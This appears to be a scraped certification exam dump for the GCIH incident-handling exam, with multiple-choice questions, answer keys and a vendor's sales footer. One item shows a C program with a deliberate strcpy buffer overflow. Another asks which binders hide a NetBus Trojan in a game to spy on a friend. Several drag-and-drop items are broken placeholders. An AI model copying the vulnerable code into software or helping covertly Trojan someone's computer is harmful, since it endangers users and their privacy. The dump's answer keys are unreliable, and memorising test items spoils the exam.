John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare- secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below: Once this Trojan has been installed on the computer, it searches Notepad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed. Which of the following Trojans has the symptoms as the one described above?

- A. NetBus
- B. Qaz
- C. eBlaster
- D. SubSeven

Answer: B

NEW QUESTION 269

You discover that all available network bandwidth is being used by some unknown service. You discover that UDP packets are being used to connect the echo service on one machine to the chargen service on another machine. What kind of attack is this?

- A. Smurf
- B. Denial of Service
- C. Evil Twin
- D. Virus

Answer: B

NEW QUESTION 272

Which of the following Trojans is used by attackers to modify the Web browser settings?

- A. Win32/FlyStudio
- B. Trojan.Lodear
- C. WMA/TrojanDownloader.GetCodec
- D. Win32/Pacex.Gen

Answer: A

NEW QUESTION 274

You want to add a netbus Trojan in the chess.exe game program so that you can gain remote access to a friend's computer. Which of the following tools will you use to accomplish the task?

Each correct answer represents a complete solution. Choose all that apply.

- A. Tripwire
- B. Yet Another Binder
- C. Pretator Wrapper
- D. Beast

Answer: BC

NEW QUESTION 278

Adam works as an Incident Handler for Umbrella Inc. He is informed by the senior authorities that the server of the marketing department has been affected by a malicious hacking attack. Supervisors are also claiming that some sensitive data are also stolen.

Adam immediately arrived to the server room of the marketing department and identified the event as an incident. He isolated the infected network from the remaining part of the network and started preparing to image the entire system. He captures volatile data, such as running process, ram, and network connections.

Which of the following steps of the incident handling process is being performed by Adam?

- A. Recovery
- B. Eradication
- C. Identification
- D. Containment

Answer: D

NEW QUESTION 281

Which of the following penetration testing phases involves gathering data from whois, DNS, and network scanning, which helps in mapping a target network and provides valuable information regarding the operating system and applications running on the systems?

- A. Post-attack phase
- B. On-attack phase
- C. Attack phase
- D. Pre-attack phase

Answer: D

NEW QUESTION 284

Which of the following tools are used as a network traffic monitoring tool in the Linux operating system?

Each correct answer represents a complete solution. Choose all that apply.

- A. Netbus

- B. IPTraf
- C. MRTG
- D. Ntop

Answer: BCD

NEW QUESTION 286

Which of the following statements about buffer overflow are true?
Each correct answer represents a complete solution. Choose two.

- A. It is a situation that occurs when a storage device runs out of space.
- B. It is a situation that occurs when an application receives more data than it is configured to accept.
- C. It can improve application performance.
- D. It can terminate an application.

Answer: BD

NEW QUESTION 290

Which of the following practices come in the category of denial of service attack?
Each correct answer represents a complete solution. Choose three.

- A. Performing Back door attack on a system
- B. Disrupting services to a specific computer
- C. Sending thousands of malformed packets to a network for bandwidth consumption
- D. Sending lots of ICMP packets to an IP address

Answer: BCD

NEW QUESTION 295

Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?

- A. Scanning
- B. Preparation
- C. gaining access
- D. Reconnaissance

Answer: B

NEW QUESTION 300

John works as a C programmer. He develops the following C program:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int buffer(char *str) {
    char buffer1[10];
    strcpy(buffer1, str);
    return 1;
}
int main(int argc, char *argv[]) {
    buffer (argv[1]);
    printf("Executed\n");
    return 1;
}
```

His program is vulnerable to a _____ attack.

- A. SQL injection
- B. Denial-of-Service
- C. Buffer overflow
- D. Cross site scripting

Answer: C

NEW QUESTION 303

Which of the following are the limitations for the cross site request forgery (CSRF) attack?
Each correct answer represents a complete solution. Choose all that apply.

- A. The attacker must determine the right values for all the form inputs.
- B. The attacker must target a site that doesn't check the referrer header.
- C. The target site should have limited lifetime authentication cookies.
- D. The target site should authenticate in GET and POST parameters, not only cookies.

Answer: AB

NEW QUESTION 305

Which of the following refers to a condition in which a hacker sends a bunch of packets that leave TCP ports half open?

- A. Spoofing
- B. Hacking
- C. SYN attack
- D. PING attack

Answer: C

NEW QUESTION 310

You work as a System Administrator for Happy World Inc. Your company has a server named uC1 that runs Windows Server 2008. The Windows Server virtualization role service is installed on the uC1 server which hosts one virtual machine that also runs Windows Server 2008. You are required to install a new application on the virtual machine. You need to ensure that in case of a failure of the application installation, you are able to quickly restore the virtual machine to its original state.

Which of the following actions will you perform to accomplish the task?

- A. Use the Virtualization Management Console to save the state of the virtual machine.
- B. Log on to the virtual host and create a new dynamically expanding virtual hard disk.
- C. Use the Virtualization Management Console to create a snapshot of the virtual machine.
- D. Use the Edit Virtual Hard Disk Wizard to copy the virtual hard disk of the virtual machine.

Answer: C

NEW QUESTION 312

CORRECT TEXT

Fill in the blank with the appropriate option to complete the statement below.

You want to block all UDP packets coming to the Linux server using the portsentry utility. For this, you have to enable the _____ option in the portsentry configuration file.

- A.

Answer: BLOCK_UDP

NEW QUESTION 316

You run the following PHP script:

```
<?php $name = mysql_real_escape_string($_POST["name"]);  
$password = mysql_real_escape_string($_POST["password"]); ?>
```

What is the use of the mysql_real_escape_string() function in the above script.

Each correct answer represents a complete solution. Choose all that apply.

- A. It can be used to mitigate a cross site scripting attack.
- B. It can be used as a countermeasure against a SQL injection attack.
- C. It escapes all special characters from strings \$_POST["name"] and \$_POST["password"] except ' and ".
- D. It escapes all special characters from strings \$_POST["name"] and \$_POST["password"].

Answer: BD

NEW QUESTION 320

You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

- A. Containment
- B. Preparation
- C. Recovery
- D. Identification

Answer: A

NEW QUESTION 322

Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?

- A. Disaster Recovery Plan
- B. Cyber Incident Response Plan
- C. Crisis Communication Plan
- D. Occupant Emergency Plan

Answer: B

NEW QUESTION 324

Peter works as a Network Administrator for the Exambible Inc. The company has a Windows- based network. All client computers run the Windows XP operating system. The employees of the company complain that suddenly all of the client computers have started working slowly. Peter finds that a malicious hacker is attempting to slow down the computers by flooding the network with a large number of requests. Which of the following attacks is being implemented by the malicious hacker?

- A. SQL injection attack
- B. Denial-of-Service (DoS) attack
- C. Man-in-the-middle attack

D. Buffer overflow attack

Answer: B

NEW QUESTION 328

John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He enters a single quote in the input field of the login page of the We- are-secure Web site and receives the following error message:

Microsoft OLE DB Provider for ODBC Drivers error '0x80040E14'

This error message shows that the We-are-secure Website is vulnerable to _____.

- A. A buffer overflow
- B. A Denial-of-Service attack
- C. A SQL injection attack
- D. An XSS attack

Answer: C

NEW QUESTION 331

Which of the following virus is a script that attaches itself to a file or template?

- A. Boot sector
- B. Trojan horse
- C. Macro virus
- D. E-mail virus

Answer: C

NEW QUESTION 332

Which of the following is the method of hiding data within another media type such as graphic or document?

- A. Spoofing
- B. Steganography
- C. Packet sniffing
- D. Cryptanalysis

Answer: B

NEW QUESTION 333

Which of the following statements about smurf is true?

- A. It is a UDP attack that involves spoofing and flooding.
- B. It is an ICMP attack that involves spoofing and flooding.
- C. It is an attack with IP fragments that cannot be reassembled.
- D. It is a denial of service (DoS) attack that leaves TCP ports open.

Answer: B

NEW QUESTION 336

Which of the following tools is used for port scanning?

- A. NSLOOKUP
- B. NETSH
- C. Nmap
- D. L0phtcrack

Answer: C

NEW QUESTION 341

Which of the following statements about threats are true?

Each correct answer represents a complete solution. Choose all that apply.

- A. A threat is a weakness or lack of safeguard that can be exploited by vulnerability, thus causing harm to the information systems or networks.
- B. A threat is a potential for violation of security which exists when there is a circumstance, capability, action, or event that could breach security and cause harm.
- C. A threat is a sequence of circumstances and events that allows a human or other agent to cause an information-related misfortune by exploiting vulnerability in an IT product.
- D. A threat is any circumstance or event with the potential of causing harm to a system in the form of destruction, disclosure, modification of data, or denial of service.

Answer: BCD

NEW QUESTION 342

Which of the following provides packet-level encryption between hosts in a LAN?

- A. PPTP
- B. IPsec

- C. PFS
- D. Tunneling protocol

Answer: B

NEW QUESTION 343

Which of the following types of channels is used by Trojans for communication?

- A. Loop channel
- B. Open channel
- C. Covert channel
- D. Overt channel

Answer: C

NEW QUESTION 347

Which of the following steps of incident response is steady in nature?

- A. Containment
- B. Eradication
- C. Preparation
- D. Recovery

Answer: C

NEW QUESTION 348

Which of the following is a process of searching unauthorized modems?

- A. Espionage
- B. Wardialing
- C. System auditing
- D. Scavenging

Answer: B

NEW QUESTION 351

Which of the following is used to determine the range of IP addresses that are mapped to a live hosts?

- A. Port sweep
- B. Ping sweep
- C. IP sweep
- D. Telnet sweep

Answer: B

NEW QUESTION 352

Which of the following protocols uses only User Datagram Protocol (UDP)?

- A. POP3
- B. FTP
- C. ICMP
- D. TFTP

Answer: D

NEW QUESTION 354

Choose and reorder the steps of an incident handling process in their correct order.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 355

Drag and drop the mapping techniques to their respective descriptions.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 356

Choose the correct actions performed during the Eradication step of the incident handling process.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 357

Rick works as a Professional Ethical Hacker for Exambible Inc. The company has opened a new branch that uses Windows-based computers. Rick has been assigned a project to check the network security of the new branch office. He wants to ensure that the company is free from remote hacking attacks. Choose the appropriate steps that Rick should perform to accomplish the task.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 362

.....

Thank You for Trying Our Product

* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

* One year free update

You can enjoy free update one year. 24x7 online support.

* Trusted by Millions

We currently serve more than 30,000,000 customers.

* Shop Securely

All transactions are protected by VeriSign!

100% Pass Your GCIH Exam with Our Prep Materials Via below:

<https://www.certleader.com/GCIH-dumps.html>